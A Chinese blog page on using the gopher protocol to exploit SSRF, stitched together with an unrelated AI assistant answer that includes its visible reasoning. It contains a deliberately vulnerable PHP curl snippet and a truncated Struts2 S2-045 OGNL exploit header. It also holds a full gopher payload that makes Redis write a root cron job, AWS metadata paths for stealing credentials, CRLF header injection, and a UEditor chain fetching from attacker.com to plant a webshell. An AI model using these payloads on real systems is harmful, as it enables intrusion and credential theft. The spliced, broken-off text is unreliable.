gopher攻击mysql_gopher 协议在SSRF 中的一些利用

本文详细介绍了gopher协议,包括其历史、格式和在SSRF(服务器端请求伪造)攻击中的利用方式。通过gopher协议,攻击者可以探测内网IP、端口,读取文件,甚至攻击内网服务如mysql、redis和ftp。同时,文中提供了多个利用场景的测试代码,展示了如何通过gopher协议绕过限制,实现内网服务的攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

gopher 协议

协议简介

gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。

它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。

gopher 协议使用tcp 可靠连接。

协议格式

gopher url 格式为:

gopher://:/

默认为70。

其中格式可以是如下其中的一种

%09

%09%09

整个部分可以省略,这时候\也可以省略为默认的1。

是一个单字符用来表示url 资源的类型,在常用的安全测试中发现不管这个字符是什么都不影响,只要有就行了。

个人理解这个是包的内容,为了避免一些特殊符号需要进行url 编码,但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错,得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%,通过对比发现直接url 编码的话会少了%0d回车字符。

用于向gopher 搜索引擎提交搜索数据,和之间用%09隔开。

是获取gopher+ 项所需的信息,gopher+ 是gopher 协议的升级版。

gopher 协议在ssrf 中的利用

出现ssrf 的地方如果没有对协议、ip、端口等一些东西进行限制,则可以用来探测内网存活的ip 及开放的端口、读取任意文件、利用phar 协议触发反序列化、攻击内网redis/memcache/mysql 及web 应用fastcgi 或其他服务等等。

而gopher 协议在其中占了很重要的角色。

测试代码

java 中的ssrf 漏洞的限制比php 多得的,而且gopher 协议在jdk8 中就被移除了,所以这次测试都是使用如下的php 代码。

$url = $_GET['url'];

$curlobj = curl_init($url);

curl_setopt($curlobj, CURLOPT_HEADER, 0);

curl_exec($curlobj);

?>

攻击内网web 服务

当通过ssrf 发现内网存在着一些比较脆弱的web 服务,比如有存在struts 2漏洞的web 服务,就可以尝试使用gopher 协议把poc 发送过去实现rce,比如下面复现的这个内网struts 2 s2-045漏洞就是通过gopher 协议提交位于header 内的poc 来完成rce。

实验中存在ssrf 漏洞的靶机是192.168.73.150,存在struts 2 s2-045 漏洞的内网靶机是192.168.123.155(假装它们在同一内网)。

通常的s2-045 的poc 如下

GET /showcase.action HTTP/1.1

Host: 192.168.123.155:8080

Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2

<think>好的,我现在要回答用户关于SSRF漏洞深度利用的问题。首先,我需要回忆SSRF的基本概念和常见利用方法。SSRF是服务器端请求伪造,攻击者可以诱使服务器向内部或外部系统发送恶意请求。用户已经知道一些防护措施,但想深入了解如何深度利用这个漏洞,包括技术细节、攻防实例。 首先,我应该从SSRF利用链入手,比如如何绕过常见的防护措施。例如,很多系统可能会过滤常见的协议如http、https,但攻击者可以使用其他协议gopher、file、dict等。需要详细说明这些协议攻击中的作用,比如gopher协议可以构造任意TCP请求,进而访问内部服务或执行Redis未授权访问攻击。 接下来,要考虑如何利用URL解析差异。不同的编程语言和库对URL的解析可能不一致,比如对@符号、斜杠、域名格式的处理差异。例如,使用http://evil.com@10.0.0.1可能会被解析为访问10.0.0.1,而某些系统可能误认为目标域名是evil.com。这部分需要具体例子,比如PHP的parse_url和Python的urllib在处理上的不同。 然后,需要涉及内网探测和服务指纹识别。攻击者可以通过SSRF扫描内网端口,识别开放的服务,比如Redis、MySQL等,然后进一步攻击。例如,访问http://example.com/ssrf.php?url=127.0.0.1:6379,如果返回特定响应,可能说明Redis服务存在未授权访问。 另外,云环境下的元数据服务也是一个重点。比如AWS的元数据地址是http://169.254.169.254,攻击者通过SSRF获取临时凭证,进而控制云主机。需要给出具体请求示例,并说明如何利用返回的凭证进行后续攻击。 关于协议扩展利用,比如利用CRLF注入到HTTP请求头中,构造恶意请求。例如,使用gopher协议发送一个POST请求,携带恶意数据,攻击内网的FastJSON反序列化漏洞。这部分需要详细步骤,如何构造payload,以及可能遇到的防护措施。 在实例分析部分,可以引用UEditor的漏洞,如引用[3]提到的任意文件上传漏洞,结合SSRF进行攻击。例如,利用SSRF将恶意文件上传到内网系统,然后通过其他漏洞执行代码。需要说明具体的漏洞利用链,如何串联多个漏洞达到攻击效果。 防御方面,除了用户提到的统一规划请求,还需要具体措施,如禁用危险协议、严格校验请求目标、使用白名单等。同时,结合引用[2]提到的补丁比对技术,说明如何通过分析补丁来发现和修复SSRF漏洞。 最后,生成相关问题时要覆盖漏洞挖掘、高级绕过、云环境利用、组合漏洞攻击以及防御策略。确保问题具有针对性,帮助用户进一步学习。 现在需要检查是否有遗漏的技术点,比如DNS重绑定、利用SSRF进行端口扫描的细节,或者如何利用302跳转绕过黑名单。此外,确保每个技术点都有实例或引用支持,比如引用[3]中的例子。同时,注意使用正确的LaTeX格式,虽然SSRF内容可能数学公式较少,但如果有变量或代码,需正确使用$或$$包裹。 总结来说,回答结构应分为利用链构建、协议利用、解析差异、内网探测、云元数据、协议扩展、实例分析,以及防御措施。每个部分都要有具体的技术细节和例子,并适当引用提供的资料。确保内容详细且符合用户要求的深度利用技术。</think>### SSRF漏洞深度利用技术分析 #### 1. **利用链构建与协议扩展** SSRF漏洞的核心在于利用服务器发起非预期请求。攻击者可通过以下方式扩展攻击面: - **多协议利用**:除HTTP/HTTPS外,可利用`gopher`、`file`、`dict`等协议。例如: - `gopher://`可构造任意TCP请求,用于攻击内网Redis服务: ```http gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$10%0d%0aevil_code%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a ``` 此Payload通过Redis未授权访问写入定时任务实现远程代码执行[^3]。 - `file://`协议可读取服务器本地文件(需权限允许),如`file:///etc/passwd`。 - **URL解析差异绕过**:不同语言/库对URL的解析存在差异。例如: - **PHP的`parse_url` vs Python `urllib`**:`http://evil.com@10.0.0.1:8080`在PHP中可能解析目标为`10.0.0.1:8080`,而部分防护逻辑可能误判为`evil.com`。 - **利用畸形的IPv6地址**:`http://[::127.0.0.1]:80/`可能绕过黑名单过滤。 #### 2. **内网探测与服务指纹识别** - **端口扫描**:通过响应时间/状态码判断端口开放情况。例如: ```http http://target.com/ssrf.php?url=http://127.0.0.1:22 ``` 若响应延迟较高且返回连接拒绝,可能表明SSH服务开放。 - **服务指纹识别**:利用`dict`协议获取服务Banner: ```http dict://127.0.0.1:6379/info ``` 可获取Redis版本信息,辅助后续攻击。 #### 3. **云环境元数据滥用** 云主机元数据接口(如AWS的`169.254.169.254`)是SSRF的高价值目标。攻击链示例: 1. 获取临时凭证: ```http http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` 2. 利用凭证调用云服务API,如创建后门用户或下载敏感数据。 #### 4. **协议扩展与CRLF注入** 结合CRLF(回车换行)注入构造恶意请求头: ```http http://example.com/ssrf?url=http://internal-api.com/%0D%0AX-Forwarded-For:%20127.0.0.1%0D%0A ``` 此请求可能绕过IP校验,并伪造来源IP访问内部接口。 #### 5. **实例:UEditor编辑器组合利用** 参考UEditor文件上传漏洞[^3],攻击链可设计为: 1. 利用SSRF访问内网UEditor的`controller.jsp`接口: ```http http://internal-server/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://attacker.com/malicious.jpg ``` 2. 通过伪造图片URL触发远程下载,结合文件上传漏洞写入Webshell。 #### 6. **防御措施** - **协议白名单**:仅允许HTTP/HTTPS,禁用`gopher`、`file`等危险协议。 - **请求目标校验**:使用正则严格校验域名格式(如禁止IP地址、保留字)。 - **网络隔离**:限制服务器出站流量,禁止访问元数据接口和内网敏感段。 - **补丁管理**:参考补丁比对技术[^2],及时修复解析逻辑漏洞。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值